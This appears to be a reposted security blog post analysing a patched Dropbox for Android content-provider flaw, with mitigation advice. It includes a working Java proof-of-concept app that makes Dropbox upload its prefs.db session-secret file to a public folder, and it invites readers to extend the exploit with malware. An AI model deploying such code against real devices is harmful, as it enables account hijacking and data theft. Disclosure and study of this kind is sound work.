Dropbox for Android Vulnerability Breakdown

Dropbox vulnerabilities are back and they’re mobile. This week Tyrone Erasmus released a vulnerability in the Android Dropbox client that allows other apps to access its content database allowing attackers to upload your files to the public. I wanted to break down this vulnerability because the lessons learned aren’t that Dropbox is vulnerable, it’s that bad Android programming practices are happening everywhere. Normally we don’t want any other apps to have access to another app’s content provider, so we block them all by default. This is done in a couple of ways. One by restricting the file permissions to only that the apps UID and GID. But in some cases, content providers want to share their information to other places on the Android platform. Take for example an email app that handles attachments.  The content provider should be secured so that other apps can’t access its emails, but if an email has an attachment like an image file, it may want to share that data with other apps like the Gallery Viewer. This is where URI permissions come into play as a way of sharing the content provider in a controlled way. Tyrone took advantage of the permissions allowed on a content provider for the Dropbox app.
Dropbox, for Android versions 1.1.3 and earlier, was setting the permissions of its content provider using the <grant-uri-permission> tag inside AndroidManifest.xml. There’s nothing wrong with that in itself, but grant-uri-permission takes a value of android:path, which is a path to the portions of the device that are allowed to access it. So what happens if that value is “/”?  Yeah. Exactly.

But what’s in this content provider. Lets take a look inside the Dropbox database in /data/app/com.dropbox.android/:

You’ll see that the database keeps track of the files that are being synced. What’s interesting to me is the _data field. When you want to add a file to Dropbox, a new record is created that fills in_data with the path of a location to upload. What happens if you were to tell it to upload something sensitive like  /data/data/com.dropbox.android/databases/prefs.db. The prefs.db contains the secret key and private information you can use to hijack a dropbox session. Telling it to store it into a location in the public folder will upload it to a world readable web address. Something like this:

http://dl.dropbox.com/u/xxxxxxxxx/prefs.db

Lets put this all together into a simple app.

package com.antitree.dropdropbox;

import android.app.Activity;
import android.os.Bundle;
import android.content.ContentValues;
import android.net.Uri;

public class DropDropBoxActivity extends Activity {

@Override
public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);
setContentView(R.layout.<em>main</em>);
//begin exploit
Uri dropbox_uri = Uri.<em>parse</em>("content://com.dropbox.android.Dropbox/metadata/");
ContentValues values = <strong>new</strong> ContentValues();
//path to file to upload. Could also be a file on the sdcard
values.put("_data" , "/data/data/com.dropbox.android/databases/prefs.db");
//Without this the system won’t think the file needs syncing
values.put("local_modified" , 1);
//Tyrone’s logic flawthat blocks it from being able to be deleted
values.put("_display_name" , "");
values.put("is_favorite" , 1);
values.put("revision" , 0);
values.put("icon" , "page_white_text");
values.put("is_dir" , 0);
values.put("path" , "/Public/prefs.db");
values.put("canon_path" , "/public/prefs.db");
values.put("root" , "dropbox");
values.put("mime_type" , "text/xml");
values.put("thumb_exists" , 0);
values.put("parent_path" , "/Public/");
values.put("canon_parent_path" , "/public/");
this.getContentResolver().update(dropbox_uri, values, null, null);
}

}

This an example of what Tyrone created that will add a new record in the Dropbox content provider to tell it to upload the prefs.db to the user’s public folder. This is a pretty boring exploit example but with access to the sdcard and some malware kung-fu, I think you can dream up something much better.
The attack scenario for this vulnerability requires that the attacker have the ability to both install the malicious app on a user that’s using a version less than 1.1.4, and be able to find out the Dropbox ID to retrieve the files. If you’re a Dropbox user, the best way to protect yourself is update to the latest version which came out weeks ago. If you feel like you’ve already been exploited, you’ll need to change your passwords and re-enroll on the device. You may want to consider creating a new account if an attacker already has your user ID.
In the latest version 1.2.3, what’s interesting is that they didn’t change the AndroidManifest.xml permission issue at all. They put the entire app into secure storage. It resolves the issue this time but did it fix the bad programming practices? The take away for all this shouldn’t be that Dropbox has a vulnerability, but rather improper Android development practices are happening even with the larger projects like Dropbox.

Source: http://intrepidusgroup.com/insight/2011/08/dropbox-for-android-vulnerability-breakdown/

If you like my blog, Please Donate Me

One Dollar $1.00 Two Dollar $2.00 Three Dollar $3.00